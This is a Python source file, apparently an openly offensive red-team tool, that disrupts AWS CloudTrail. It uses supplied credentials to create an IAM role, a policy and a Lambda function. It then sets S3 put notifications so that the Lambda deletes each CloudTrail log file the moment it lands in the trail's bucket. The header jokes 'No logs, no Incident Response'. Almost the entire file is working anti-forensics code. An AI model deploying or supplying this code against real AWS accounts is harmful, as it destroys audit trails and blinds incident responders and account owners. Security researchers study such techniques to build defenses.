553 lines
19 KiB
Python
Executable File
553 lines
19 KiB
Python
Executable File
#!/usr/bin/python3
|
|
#
|
|
# This script attempts to disrupt CloudTrail by planting a Lambda function that will delete every object created in S3 bucket
|
|
# bound to a trail. As soon as CloudTrail creates a new object in S3 bucket, Lambda will kick in and delete that object.
|
|
# No object, no logs. No logs, no Incident Response :-)
|
|
#
|
|
# One will need to pass AWS credentials to this tool. Also, the account affected should have at least following permissions:
|
|
# - `iam:CreateRole`
|
|
# - `iam:CreatePolicy`
|
|
# - `iam:AttachRolePolicy`
|
|
# - `lambda:CreateFunction`
|
|
# - `lambda:AddPermission`
|
|
# - `s3:PutBucketNotification`
|
|
#
|
|
# These are the changes to be introduced within a specified AWS account:
|
|
# - IAM role will be created, by default with name: `cloudtrail_helper_role`
|
|
# - IAM policy will be created, by default with name: `cloudtrail_helper_policy`
|
|
# - Lambda function will be created, by default with name: `cloudtrail_helper_function`
|
|
# - Put Event notification will be configured on affected CloudTrail S3 buckets.
|
|
#
|
|
# This tool will fail upon first execution with the following exception:
|
|
#
|
|
# ```
|
|
# [-] Could not create a Lambda function: An error occurred (InvalidParameterValueException) when calling the CreateFunction operation:
|
|
# The role defined for the function cannot be assumed by Lambda.
|
|
# ```
|
|
#
|
|
# At the moment I did not find an explanation for that, but running the tool again with the same set of parameters - get the job done.
|
|
#
|
|
# Afterwards, one should see following logs in CloudWatch traces for planted Lambda function - if no `--disrupt` option was specified:
|
|
#
|
|
# ```
|
|
# [*] Following S3 object could be removed: (Bucket=90112981864022885796153088027941100000000000000000000000,
|
|
# Key=cloudtrail/AWSLogs/712800000000/CloudTrail/us-west-2/2019/03/20/712800000000_CloudTrail_us-west-2_20190320T1000Z_oxxxxxxxxxxxxc.json.gz)
|
|
# ```
|
|
#
|
|
# Requirements:
|
|
# - boto3
|
|
#
|
|
# Author: Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
|
|
#
|
|
|
|
|
|
import io
|
|
import sys
|
|
import time
|
|
import json
|
|
import boto3
|
|
import urllib
|
|
import zipfile
|
|
import argparse
|
|
|
|
config = {
|
|
'debug' : False,
|
|
|
|
'region' : '',
|
|
'trail-name' : '',
|
|
'access-key' : '',
|
|
'secret-key' : '',
|
|
'token' : '',
|
|
|
|
'disrupt' : False,
|
|
|
|
'role-name' : '',
|
|
'policy-name' : '',
|
|
'function-name' : '',
|
|
|
|
'statement-id' : 'ID-1',
|
|
}
|
|
|
|
aws_policy_lambda_assume_role = {
|
|
"Version": "2012-10-17",
|
|
"Statement": [
|
|
{
|
|
"Effect": "Allow",
|
|
"Principal": {
|
|
"Service": "lambda.amazonaws.com"
|
|
},
|
|
"Action": "sts:AssumeRole"
|
|
}
|
|
]
|
|
}
|
|
|
|
aws_policy_for_lambda_role = {
|
|
"Version": "2012-10-17",
|
|
"Statement": [
|
|
{
|
|
"Effect": "Allow",
|
|
"Action": [
|
|
"logs:CreateLogGroup",
|
|
"logs:CreateLogStream",
|
|
"logs:PutLogEvents"
|
|
],
|
|
"Resource": "arn:aws:logs:*:*:*"
|
|
},
|
|
{
|
|
"Effect": "Allow",
|
|
"Action": [
|
|
"s3:GetObject",
|
|
"s3:PutObject",
|
|
"s3:DeleteObject",
|
|
"s3:DeleteObjectVersion"
|
|
],
|
|
"Resource": [
|
|
"arn:aws:s3:::*"
|
|
]
|
|
}
|
|
]
|
|
}
|
|
|
|
|
|
aws_s3_bucket_notification_configuration = {
|
|
"LambdaFunctionConfigurations": [
|
|
{
|
|
"LambdaFunctionArn": "<TO-BE-CREATED-LATER>",
|
|
"Id": config['statement-id'],
|
|
"Events": [
|
|
"s3:ObjectCreated:*"
|
|
]
|
|
}
|
|
]
|
|
}
|
|
|
|
disruption_lambda_code_do_harm = '''
|
|
response = s3.delete_object(Bucket=bucket, Key=key)
|
|
'''
|
|
|
|
disruption_lambda_code_no_harm = '''
|
|
print("[*] Following S3 object could be removed: (Bucket={}, Key={})".format(bucket, key))
|
|
'''
|
|
|
|
disruption_lambda_code = '''
|
|
import json
|
|
import urllib
|
|
import boto3
|
|
|
|
s3 = boto3.client('s3')
|
|
|
|
def lambda_handler(event, context):
|
|
try:
|
|
bucket = event['Records'][0]['s3']['bucket']['name']
|
|
key = urllib.unquote_plus(event['Records'][0]['s3']['object']['key']).decode('utf8')
|
|
{code}
|
|
except Exception as e:
|
|
print('S3 delete object failed: ' + str(e))
|
|
raise e
|
|
'''
|
|
|
|
|
|
class Logger:
|
|
@staticmethod
|
|
def _out(x):
|
|
sys.stdout.write(x + '\n')
|
|
|
|
@staticmethod
|
|
def out(x):
|
|
Logger._out('[>] ' + x)
|
|
|
|
@staticmethod
|
|
def info(x):
|
|
Logger._out('[.] ' + x)
|
|
|
|
@staticmethod
|
|
def fatal(x):
|
|
sys.stdout.write('[!] ' + x + '\n')
|
|
sys.exit(1)
|
|
|
|
@staticmethod
|
|
def fail(x):
|
|
Logger._out('[-] ' + x)
|
|
|
|
@staticmethod
|
|
def ok(x):
|
|
Logger._out('[+] ' + x)
|
|
|
|
@staticmethod
|
|
def dbg(x):
|
|
if config['debug']:
|
|
sys.stdout.write(f'[dbg] {x}\n')
|
|
|
|
class CloudTrailDisruptor:
|
|
session = None
|
|
def __init__(self, region, access_key, secret_key, token = ''):
|
|
self.region = region
|
|
self.access_key = access_key
|
|
self.secret_key = secret_key
|
|
self.token = token
|
|
self.session = None
|
|
self.authenticate()
|
|
|
|
def authenticate(self):
|
|
try:
|
|
self.session = None
|
|
self.session = boto3.Session(
|
|
aws_access_key_id = self.access_key,
|
|
aws_secret_access_key = self.secret_key,
|
|
aws_session_token = self.token,
|
|
region_name = self.region
|
|
)
|
|
except Exception as e:
|
|
Logger.fail(f'Could obtain AWS session: {e}')
|
|
raise e
|
|
|
|
def get_session(self):
|
|
return self.session
|
|
|
|
def get_account_id(self):
|
|
try:
|
|
return self.session.client('sts').get_caller_identity()['Account']
|
|
except Exception as e:
|
|
Logger.fatal(f'Could not Get Caller\'s identity: {e}')
|
|
|
|
def find_trails_to_disrupt(self):
|
|
cloudtrail = self.session.client('cloudtrail')
|
|
trails = cloudtrail.describe_trails()
|
|
|
|
disrupt = []
|
|
|
|
for trail in trails['trailList']:
|
|
Logger.dbg(f"Checking whether trail {trail['Name']} is logging.")
|
|
status = cloudtrail.get_trail_status(Name = trail['Name'])
|
|
if status and status['IsLogging']:
|
|
r = 'Yes' if trail['IsMultiRegionTrail'] else 'No'
|
|
Logger.ok(f"Trail {trail['Name']} is actively logging (multi region? {r}).")
|
|
disrupt.append(trail)
|
|
|
|
return disrupt
|
|
|
|
def create_role(self, role_name, role_policy, description = ''):
|
|
iam = self.session.client('iam')
|
|
policy = json.dumps(role_policy)
|
|
|
|
roles = iam.list_roles()
|
|
for role in roles['Roles']:
|
|
if role['RoleName'] == role_name:
|
|
Logger.fail(f'Role with name: {role_name} already exists.')
|
|
Logger.dbg("Returning: {}".format(str({'Role':role})))
|
|
return {'Role' : role}
|
|
|
|
Logger.info(f'Creating a role named: {role_name}')
|
|
Logger.dbg(f'Policy to be used in role creation:\n{policy}')
|
|
|
|
out = {}
|
|
try:
|
|
out = iam.create_role(
|
|
RoleName = role_name,
|
|
AssumeRolePolicyDocument = policy,
|
|
Description = description
|
|
)
|
|
except Exception as e:
|
|
Logger.fatal(f'Could not create a role for Lambda: {e}')
|
|
# Due to fatal, code will not reach this path
|
|
return False
|
|
|
|
Logger.ok(f'Role created.')
|
|
Logger.dbg(f'Returned: {out}')
|
|
|
|
return out
|
|
|
|
def create_role_policy(self, policy_name, policy_document, description = ''):
|
|
iam = self.session.client('iam')
|
|
policy = json.dumps(policy_document)
|
|
|
|
policies = iam.list_policies(Scope = 'All')
|
|
for p in policies['Policies']:
|
|
if p['PolicyName'] == policy_name:
|
|
Logger.fail(f'Policy with name: {policy_name} already exists.')
|
|
return {'Policy' : p}
|
|
|
|
Logger.info(f'Creating a policy named: {policy_name}')
|
|
Logger.dbg(f'Policy to be used in role creation:\n{policy}')
|
|
|
|
out = {}
|
|
try:
|
|
out = iam.create_policy(
|
|
PolicyName = policy_name,
|
|
PolicyDocument = policy,
|
|
Description = description
|
|
)
|
|
except Exception as e:
|
|
Logger.fatal(f'Could not create a policy for that lambda role: {e}')
|
|
# Due to fatal, code will not reach this path
|
|
return False
|
|
|
|
Logger.ok(f'Policy created.')
|
|
Logger.dbg(f'Returned: {out}')
|
|
|
|
return out
|
|
|
|
def attach_role_policy(self, role_name, policy_arn):
|
|
Logger.info(f'Attaching policy ({policy_arn}) to the role {role_name}')
|
|
|
|
iam = self.session.client('iam')
|
|
|
|
attached = iam.list_attached_role_policies(RoleName = role_name)
|
|
for policy in attached['AttachedPolicies']:
|
|
if policy['PolicyArn'] == policy_arn:
|
|
Logger.fail(f'Policy is already attached.')
|
|
return True
|
|
|
|
try:
|
|
iam.attach_role_policy(
|
|
RoleName = role_name,
|
|
PolicyArn = policy_arn
|
|
)
|
|
except Exception as e:
|
|
Logger.fatal(f'Could not create a policy for that lambda role: {e}')
|
|
# Due to fatal, code will not reach this path
|
|
return False
|
|
|
|
Logger.ok(f'Policy attached.')
|
|
return True
|
|
|
|
# Source: https://stackoverflow.com/a/51899017
|
|
@staticmethod
|
|
def create_in_mem_zip_archive(file_map, files):
|
|
buf = io.BytesIO()
|
|
Logger.dbg("Building zip file: " + str(files))
|
|
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zfh:
|
|
for file_name in files:
|
|
file_blob = file_map.get(file_name)
|
|
if file_blob is None:
|
|
Logger.fail("Missing file {} from files".format(file_name))
|
|
continue
|
|
try:
|
|
info = zipfile.ZipInfo(file_name)
|
|
info.date_time = time.localtime()
|
|
info.compress_type = zipfile.ZIP_DEFLATED
|
|
info.external_attr = 0o777 << 16 # give full access
|
|
zfh.writestr(info, file_blob)
|
|
except Exception as ex:
|
|
raise ex
|
|
Logger.fail("Error reading file: " + file_name + ", error: " + ex.message)
|
|
buf.seek(0)
|
|
return buf.read()
|
|
|
|
|
|
def create_lambda_function(self, function_name, role_name, code, description = ''):
|
|
awslambda = self.session.client('lambda')
|
|
lambdacode = CloudTrailDisruptor.create_in_mem_zip_archive(
|
|
{'lambda_function.py': code},
|
|
{'lambda_function.py'}
|
|
)
|
|
|
|
funcs = awslambda.list_functions()
|
|
for f in funcs['Functions']:
|
|
if f['FunctionName'] == function_name:
|
|
Logger.fail(f'Function with name: {function_name} already exists. Removing old one.')
|
|
awslambda.delete_function(FunctionName = function_name)
|
|
Logger.ok('Old function was removed.')
|
|
break
|
|
|
|
Logger.info(f'Creating a lambda function named: {function_name} on Role: {role_name}')
|
|
Logger.dbg(f'Lambda code to be used:\n{code}')
|
|
|
|
out = {}
|
|
try:
|
|
out = awslambda.create_function(
|
|
FunctionName = function_name,
|
|
Runtime = 'python2.7',
|
|
Role = role_name,
|
|
Handler = 'lambda_function.lambda_handler',
|
|
Code = {
|
|
'ZipFile' : lambdacode,
|
|
},
|
|
Description = description,
|
|
Timeout = 30,
|
|
Publish = True
|
|
)
|
|
Logger.ok(f'Function created.')
|
|
except Exception as e:
|
|
Logger.fail(f'Could not create a Lambda function: {e}')
|
|
if 'The role defined for the function cannot be assumed by Lambda.' in str(e):
|
|
Logger.info('====> This is a known bug (?). Running again this program should get the job done.')
|
|
|
|
Logger.dbg(f'Returned: {out}')
|
|
return out
|
|
|
|
def permit_function_invoke(self, function_name, statement_id, bucket_arn):
|
|
awslambda = self.session.client('lambda')
|
|
|
|
Logger.info(f'Adding invoke permission to func: {function_name} on S3 bucket: {bucket_arn}')
|
|
try:
|
|
out = awslambda.add_permission(
|
|
FunctionName = function_name,
|
|
Action = 'lambda:InvokeFunction',
|
|
Principal = 's3.amazonaws.com',
|
|
SourceArn = bucket_arn,
|
|
StatementId = statement_id
|
|
)
|
|
except Exception as e:
|
|
Logger.fail(f'Could not add permission to the Lambda: {e}. Continuing anyway.')
|
|
|
|
return out
|
|
|
|
def set_s3_put_notification(self, bucket, notification_configuration):
|
|
s3 = self.session.client('s3')
|
|
|
|
arn = notification_configuration['LambdaFunctionConfigurations'][0]['LambdaFunctionArn']
|
|
conf = s3.get_bucket_notification_configuration(Bucket = bucket)
|
|
if 'LambdaFunctionConfigurations' in conf.keys():
|
|
for configuration in conf['LambdaFunctionConfigurations']:
|
|
if configuration['Id'] == config['statement-id'] and arn == configuration['LambdaFunctionArn']:
|
|
Logger.fail('S3 Put notification already configured for that function on that S3 bucket.')
|
|
return True
|
|
|
|
Logger.info(f'Putting a bucket notification configuration to {bucket}, ARN: {arn}')
|
|
Logger.dbg(f'Notification used :\n{notification_configuration}')
|
|
|
|
out = {}
|
|
try:
|
|
out = s3.put_bucket_notification_configuration(
|
|
Bucket = bucket,
|
|
NotificationConfiguration = notification_configuration
|
|
)
|
|
except Exception as e:
|
|
Logger.fail(f'Could not put bucket notification configuration: {e}')
|
|
return False
|
|
|
|
return True
|
|
|
|
|
|
def parseOptions(argv):
|
|
global config
|
|
|
|
print('''
|
|
:: AWS CloudTrail disruption via S3 Put notification to Lambda
|
|
Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation
|
|
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
|
|
''')
|
|
|
|
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <region> [trail_name]')
|
|
parser._action_groups.pop()
|
|
required = parser.add_argument_group('required arguments')
|
|
optional = parser.add_argument_group('optional arguments')
|
|
|
|
required.add_argument('region', type=str, help = 'AWS region to use.')
|
|
|
|
required.add_argument('--access-key', type=str, help = 'AWS Access Key ID')
|
|
required.add_argument('--secret-key', type=str, help = 'AWS Access Key ID')
|
|
required.add_argument('--token', type=str, help = 'AWS temporary session token')
|
|
|
|
optional.add_argument('trail_name', type=str, default = 'all', nargs='?', help = 'CloudTrail name that you want to disrupt. If not specified, will disrupt every actively logging trail.')
|
|
|
|
optional.add_argument('--disrupt', action='store_true', default = False, help = 'By default, this tool will install Lambda that is only logging that it could remove S3 objects. By using this switch, there is going to be Lambda introduced that actually deletes objects.')
|
|
|
|
optional.add_argument('--role-name', type=str, default='cloudtrail_helper_role', help = 'name for AWS Lambda role')
|
|
optional.add_argument('--policy-name', type=str, default='cloudtrail_helper_policy', help = 'name for a policy for that Lambda role')
|
|
optional.add_argument('--function-name', type=str, default='cloudtrail_helper_function', help = 'name for AWS Lambda function')
|
|
|
|
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
|
|
|
|
args = parser.parse_args()
|
|
|
|
config['debug'] = args.debug
|
|
config['access-key'] = args.access_key
|
|
config['secret-key'] = args.secret_key
|
|
config['token'] = args.token
|
|
|
|
config['region'] = args.region
|
|
config['disrupt'] = args.disrupt
|
|
config['trail-name'] = args.trail_name
|
|
config['role-name'] = args.role_name
|
|
config['policy-name'] = args.policy_name
|
|
config['function-name'] = args.function_name
|
|
|
|
if not args.access_key or not args.secret_key:
|
|
Logger.fatal("Please provide AWS Access Key, Secret Key and optionally Session Token")
|
|
|
|
return args
|
|
|
|
def main(argv):
|
|
opts = parseOptions(argv)
|
|
if not opts:
|
|
Logger.err('Options parsing failed.')
|
|
return False
|
|
|
|
dis = CloudTrailDisruptor(
|
|
config['region'],
|
|
config['access-key'],
|
|
config['secret-key'],
|
|
config['token']
|
|
)
|
|
|
|
account_id = dis.get_account_id()
|
|
Logger.info(f'Will be working on Account ID: {account_id}')
|
|
|
|
Logger.info('Step 1: Determine trail to disrupt')
|
|
trails = []
|
|
if config['trail-name'] and config['trail-name'] != 'all':
|
|
Logger.ok(f"Will use trail specified by user: {config['trail-name']}")
|
|
trail_name = config['trail-name']
|
|
ct = dis.get_session().client('cloudtrail')
|
|
t = ct.describe_trails(trailNameList=[trail_name,])
|
|
trails.append(t[0])
|
|
else:
|
|
trails.extend(dis.find_trails_to_disrupt())
|
|
|
|
Logger.info('Trails intended to be disrupted:')
|
|
for trail in trails:
|
|
Logger._out(f'\t- {trail["Name"]}')
|
|
|
|
Logger._out('')
|
|
Logger.info('Step 2: Create a role to be assumed by planted Lambda')
|
|
created_role = dis.create_role(config['role-name'], aws_policy_lambda_assume_role)
|
|
if not created_role:
|
|
Logger.fatal('Could not create a lambda role.')
|
|
|
|
Logger.info('Step 3: Create a policy for that role')
|
|
policy = dis.create_role_policy(config['policy-name'], aws_policy_for_lambda_role)
|
|
if not policy:
|
|
Logger.fatal('Could not create a policy for lambda role.')
|
|
|
|
Logger.info('Step 4: Attach policy to the role')
|
|
if not dis.attach_role_policy(config['role-name'], policy['Policy']['Arn']):
|
|
Logger.fatal('Could not attach a policy to the lambda role.')
|
|
|
|
Logger.info('Step 5: Create Lambda function')
|
|
code = ''
|
|
|
|
if config['disrupt']:
|
|
code = disruption_lambda_code.format(code = disruption_lambda_code_do_harm)
|
|
Logger.info('\tUSING DISRUPTIVE LAMBDA!')
|
|
else:
|
|
code = disruption_lambda_code.format(code = disruption_lambda_code_no_harm)
|
|
Logger.info('\tUsing non-disruptive lambda.')
|
|
|
|
if not dis.create_lambda_function(config['function-name'], created_role['Role']['Arn'], code):
|
|
Logger.fatal('Could not create a Lambda function.')
|
|
|
|
Logger.info('Step 6: Permit function to be invoked on all trails')
|
|
for trail in trails:
|
|
bucket_arn = f"arn:aws:s3:::{trail['S3BucketName']}"
|
|
dis.permit_function_invoke(config['function-name'], config['statement-id'], bucket_arn)
|
|
|
|
Logger.info('Step 7: Configure trail bucket\'s put notification')
|
|
global aws_s3_bucket_notification_configuration
|
|
|
|
regions = [config['region'], ]
|
|
for region in regions:
|
|
arn = f"arn:aws:lambda:{region}:{account_id}:function:{config['function-name']}"
|
|
aws_s3_bucket_notification_configuration['LambdaFunctionConfigurations'][0]['LambdaFunctionArn'] = arn
|
|
for trail in trails:
|
|
dis.set_s3_put_notification(
|
|
trail['S3BucketName'],
|
|
aws_s3_bucket_notification_configuration
|
|
)
|
|
|
|
print("[+] Installed CloudTrail's S3 bucket disruption Lambda.")
|
|
|
|
if __name__ == '__main__':
|
|
main(sys.argv)
|